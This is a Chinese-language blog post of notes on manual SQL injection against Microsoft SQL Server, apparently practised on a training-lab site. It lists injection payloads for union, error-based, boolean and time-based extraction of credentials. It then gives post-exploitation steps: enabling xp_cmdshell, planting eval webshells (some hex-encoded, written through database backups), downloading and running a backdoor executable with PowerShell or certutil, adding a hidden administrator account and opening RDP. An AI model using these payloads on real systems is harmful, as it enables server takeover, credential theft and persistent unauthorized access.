Microsoft SQL Server手注

Microsoft SQL Server手注之联合查询注入

Mssql数据库测试环境搭建

完整安装SQL Server 2008数据库
https://jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

Mssql数据库的补充介绍

判断是否为Mssql数据库

and exists(select * from sysobjects) --

权限介绍

sa权限:数据库操作,⽂件管理,命令执行,注册表读取等 system
db权限:⽂件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users

判断权限的语句

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限

调用数据库的代码

<%
set conn =server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

注入流程

1.判断注入
2.字段长度
3.寻找字符型显位
id=-2 union all select 1,2,3,4..
4.查询基本信息
1.@@version- 获取版本信息;
2.db_name() -数据库名字
3.user,system_user,current_user,user_name – 获取当前用户名
4.@@SERVERNAME – 获取有关服务器主机的信息。
5.查询表名
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u','3',4 ——xtype='u' 是指我们人工创建的意思,排除干扰项,top1是找第一个名字
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4 ——name不在’manage‘范围内
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4 ——以此追加
6.获取列名
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null —— col_name列名
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
7.获取数据
new_list.asp?id=-2 union all select null,username, password ,null from manage

Microsoft SQL Server手注之报错注入

convert()函数

CONVERT() 函数是把⽇期转换为新数据类型的通用函数。

语法

CONVERT(data_type(length),data_to_be_converted,style)
data_type(length) 规定⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。

⽰例

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110)
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

原理

对于convert(int,@@version),convert函数⾸先会执行第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进行指定的转换,所以,convert函数会抛出⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。
满足条件的函数还有很多

convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()

注入流程

1.查询基本信息

convert(int,@@version) - 获取版本信息
convert(int,db_name()) -数据库名字
convert(int,user) -当前用户名
convert(int,@@SERVERNAME)– 获取有关服务器主机的信息

2.获取当前数据库的表名

CONVERT(int,(select top 1 table_name from information_schema.columns))

3.获取列名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns whereTABLE_NAME=cast(16进制的表名 as varchar)))

4.获取数据

convert(int,(select top 1 name 列名 from 表名))

Microsoft SQL Server手注之布尔型注入

盲注

1.判断是否存在注入

'
and 1=1
and 1=2

2.猜测数据库名

and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109)
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,2,1))=111)
.......
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=111 and name not in ('mozhe_db_v2.dbo.sysobjects'))

3.猜解表名

and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109)
and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109 and name not in ('manage'))

4.猜解列名

and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'manage') and unicode(substring(name,1,1))=117)

5.逐字猜解数据

and exists(select id from manage where unicode(substring(username,1,1))=97 and ID=1)
and exists(select id from manage where unicode(substring(username,2,1))=100 and ID=1)
and exists(select id from manage where unicode(substring(username,3,1))=109 and ID=1)
and exists(select id from manage where unicode(substring(username,4,1))=105 and ID=1)
and exists(select id from manage where unicode(substring(username,5,1))=110 and ID=1)
and exists(select id from manage where unicode(substring(username,6,1))=95 and ID=1)
and exists(select id from manage where unicode(substring(username,7,1))=109 and ID=1)
and exists(select id from manage where unicode(substring(username,8,1))=122 and ID=1)
and exists(select id from manage where unicode(substring(password,1,1))=55 and ID=1)
and exists(select id from manage where unicode(substring(password,2,1))=50 and ID=1)
and exists(select id from manage where unicode(substring(password,3,1))=101 and ID=1)
and exists(select id from manage where unicode(substring(password,4,1))=49 and ID=1)
and exists(select id from manage where unicode(substring(password,5,1))=98 and ID=1)
and exists(select id from manage where unicode(substring(password,6,1))=102 and ID=1)
and exists(select id from manage where unicode(substring(password,7,1))=99 and ID=1)
and exists(select id from manage where unicode(substring(password,8,1))=51 and ID=1)
and exists(select id from manage where unicode(substring(password,9,1))=102 and ID=1)
and exists(select id from manage where unicode(substring(password,10,1))=48 and ID=1)
and exists(select id from manage where unicode(substring(password,11,1))=49 and ID=1)
and exists(select id from manage where unicode(substring(password,12,1))=98 and ID=1)
and exists(select id from manage where unicode(substring(password,13,1))=55 and ID=1)
and exists(select id from manage where unicode(substring(password,14,1))=53 and ID=1)
and exists(select id from manage where unicode(substring(password,15,1))=56 and ID=1)
and exists(select id from manage where unicode(substring(password,16,1))=51 and ID=1)

最后得到的username值是:admin_mz
最后得到的password值是:72e1bfc3f01b7583
解密:97285101

Microsoft SQL Server手注之延时型注入

延时函数 WAITFOR DELAY

WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含⼀个参数DELAY,用来指定等待的时间。如果将该语句成功注入后,会造成数据库返回记录和Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注入成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断网站是否存在注入漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。

语法

WAITFOR DELAY '0:0:n'

⽰例

WAITFOR DELAY '0:0:4' -- 表⽰延迟4秒

IF exists ()子句

语法
IF exists () WAITFOR DELAY '0:0:5'

注入流程

1.判断是否存在注入
WAITFOR DELAY '0:0:4'
2.猜测数据库名
IF exists (select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109) WAITFOR DELAY '0:0:5'--
3.猜解表名
IF exists (select top 1 table_name from information_schema.columns where unicode(substring(table_name,1,1))=109) WAITFOR DELAY '0:0:5'--
4.猜解列名
IF exists (select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') and unicode(substring(name,1,1))=117) WAITFOR DELAY '0:0:5'--
5.逐字猜解数据
IF exists (select id from 表名 where unicode(substring(列名1,1,1))=97 and ID=1) WAITFOR DELAY '0:0:5'--
IF exists (select id from 表名 where unicode(substring(列名2,1,1))=55 and ID=1) WAITFOR DELAY '0:0:5'--

MSSQL手注之Sa权限多种处理姿势

Microsoft SQL Server手注

MSSQL全称: Microsoft SQL Server
sa全称: sysadmin
3个权限: sysadmin \ db_owner \ public
sa权限:数据库操作,⽂件管理,命令执行,注册表读取等 sysadmin/system
db权限:⽂件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users

拿下权限

写webshell

会有waf,可能会被拦截 这些脚本文件

低权限下也可以写,只要是写权限(做一些写入普通文件等等)
  • 有回显,想要回显,就要把执行结果写到表⾥⾯,然后读取表的内容即可。
  • ⽆回显
测试流程操作
1.找到注入点,测试注入点(爆出目录)
admin2'
2.判断权限
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
admin1' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1
3.尝试去测试执行命令
数据库的扩展存储过程:exec master..xp_cmdshell ——可以用来做一些数据操作
admin2'; exec master..xp_cmdshell "whoami" --
发现不成功,可能是该语句没有成功执行
可以测试 使用ping 路径 语句
ping -n 1 www.baidu.com
ping -n 10 www.baidu.com
admin2'; exec master..xp_cmdshell "ping -n 10 www.baidu.com" --  ——很快结束,说明存储过程被禁用了,那么启动存储过程即可
开启 (存储过程)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后在进行ping测试,确认是否启动
这时可把一句话木马写入
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
admin2'; exec master..xp_cmdshell "<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>" --
echo 需要转义 在每个符号前加^ ,括号不用
admin2'; exec master..xp_cmdshell 'echo ^<^%^@ Page Language^=^"Jscript^"^%^>^<^%eval(Request.Item^[^"value^",^"unsafe^"^]);^%^>  >  c:/1.aspx(网站路径)' --

  • 爆出路径
  • 没有爆出路径 ——或木马不面杀,正向反向木马连不上

下载 执行 反向 远程控制 服务端

  • certutil //windows 2003 /xp 测试失败
  • bitsadmin //win 7/2008
  • powershell //win 7/2008
powershell -exec bypass -c (new-object
System.Net.Webclient).DownloadFile('http://192.168.0.1/1.exe,'c:\windows\temp\1.exe'
)
  • vbs

windows命令执行漏洞不会玩? 看我!

测试流程操作
https://www.cnblogs.com/chenjiaxin--007/p/8658419.html    Python 一句命令启动一个web服务器
如果是python 2.x的系列里面 这样启动一个web服务器:
python -m SimpleHTTPServer 8080
如果是Python 3,用下面的语句也可以启动一个http服务:
python3 -m http.server 8000 
在服务器上使用msf制作后门代码 a.exe
通过certutil 语句去下载 a.exe,然后执行

bitsadmin 该语句使用,可能会出现盘符找不到的问题
%APPDATA% ——> C:\Users\Administrator\AppData\Roaming
所以下载的时候尽量不要使用具有歧义的目标路径,最好指定一个一定存在的目录
如不报出目录可写到,c:\users\public 下

添加用户

当前权限是有添加用户的权限,需要administrator或system;在外网;可以连接;
net user dark dark5.net123 /add  添加用户 dark
net localgroup administrators dark /add  把该dark用户添加到administrators组
有可能还是不能远程登录,需要把其加入远程桌面管理组 (有可能该组名会被更改,这时需要读取表名net localgroup  ,然后找到该组,进行添加)
net localgroup "Remote Management Users" dark /add
admin2'; exec master..xp_cmdshell "net localgroup administrators dark /add" -- 
连不上 可能端口未开启
开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
admin2'; exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' -- 
有可能 打开端口也连不上 是防火墙问题,关闭防火墙操作要慎重,因为可能关闭了就会通知管理员

net user dark /del 删除用户
  • 防护软件不给连接
  • 防火墙开启
  • 不给添加用户

MSSQL⼿注之db_owner权限处理

Microsoft SQL Server手注

MSSQL全称: Microsoft SQL Server
3个权限: sysadmin \ db_owner \ public

权限判断

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1=(Select IS_MEMBER('public'))

在没有waf下执行

Getshell前提

DB_owner权限
得到 ⽹站物理路径 也称之为:⽹站绝对路径

Getshell姿势

方法一:Log备份Getshell

;alter database test set RECOVERY FULL--    ——设置数据库RECOVERY FULL模式
;create table cmd (a image)--   ——创建表(先删除,防止已有)
;backup log test to disk = 'c:/1.bak' with init--  ——备份到C
;insert into cmd (a) values ('<%@ Page Language="Jscript"%>%eval(Request.Item["hackdog"],"unsafe");%>')--  ——插入一句话数据 (可把一句话进行hex编码放入)
;backup log test to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'--  ——备份到网站路径
;drop table cmd-- ——先删除

执行有问题...

方法二:差异备份Getshell

;drop table cmd-- ——先删除(清除环境)
1⾸先完整备份⼀次(c:\ddd.bak为所备份未见)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲⼊数据
create table [dbo].[dtest] ([cmd] [image]);insert into dtest(cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717
56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.进⾏差异备份
backup database 库名 to disk='⽬标位置(网站路径)\d.asp' WITH DIFFERENTIAL,FORMAT;--
上⾯
0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e
就是经过hex的⼀句话⽊马的内容:<%@ Page Language="Jscript"%>
<%eval(Request.Item["hackdog"],"unsafe");%>


----------


<%@ Page Language="Jscript"%><%eval(Request.Item["hackdog"],"unsafe");%>
admin2' aNd 1=1 aNd '1'='1
c:\Users\Administrator\desktop\l\default.aspx.cs:503
admin2';alter database test set RECOVERY FULL--
admin2';drop table cmd;--
admin2';create table cmd (a image);backup log test to disk = 'c:/x.bak' with init;insert into cmd (a) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e)--
admin2';backup log test to disk = 'c:\Users\Administrator\desktop\l\darkxx.aspx'--

admin2';backup database test to disk = 'c:\x.bak';create table [dbo].[cmd] ([colu][image]);insert into cmd(colu) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
admin2';backup database test to disk='c:\Users\Administrator\desktop\l\d2.aspx' WITHDIFFERENTIAL,FORMAT;--
admin2';drop table dtest--
上一篇:SQLServer子查询相关知识笔记


下一篇:SFDC Trigger里before和after的区别